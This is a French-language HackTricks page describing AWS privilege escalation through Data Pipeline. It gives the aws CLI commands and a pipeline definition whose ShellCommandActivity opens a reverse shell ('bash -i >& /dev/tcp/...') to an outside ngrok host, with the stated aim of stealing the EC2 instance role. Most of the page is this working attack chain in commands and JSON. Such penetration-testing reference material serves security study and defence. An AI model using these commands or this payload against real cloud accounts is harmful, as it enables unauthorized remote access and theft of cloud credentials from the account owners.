AWS - Datapipeline Privesc

Soutenez HackTricks

datapipeline

Pour plus d'informations sur datapipeline, consultez :

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datappipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Les utilisateurs avec ces autorisations peuvent élever leurs privilèges en créant un Data Pipeline pour exécuter des commandes arbitraires en utilisant les autorisations du rôle attribué :

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Après la création du pipeline, l'attaquant met à jour sa définition pour dicter des actions spécifiques ou des créations de ressources :

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Notez que le rôle dans les lignes 14, 15 et 27 doit être un rôle pouvant être assumé par datapipeline.amazonaws.com et le rôle dans la ligne 28 doit être un rôle pouvant être assumé par ec2.amazonaws.com avec un profil d'instance EC2.

De plus, l'instance EC2 aura uniquement accès au rôle pouvant être assumé par l'instance EC2 (vous ne pourrez donc voler que celui-ci).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

Le fichier de définition du pipeline, créé par l'attaquant, inclut des directives pour exécuter des commandes ou créer des ressources via l'API AWS, exploitant les autorisations de rôle de Data Pipeline pour potentiellement obtenir des privilèges supplémentaires.

Impact potentiel : Élévation directe des privilèges vers le rôle de service ec2 spécifié.

Références

Soutenez HackTricks

Last updated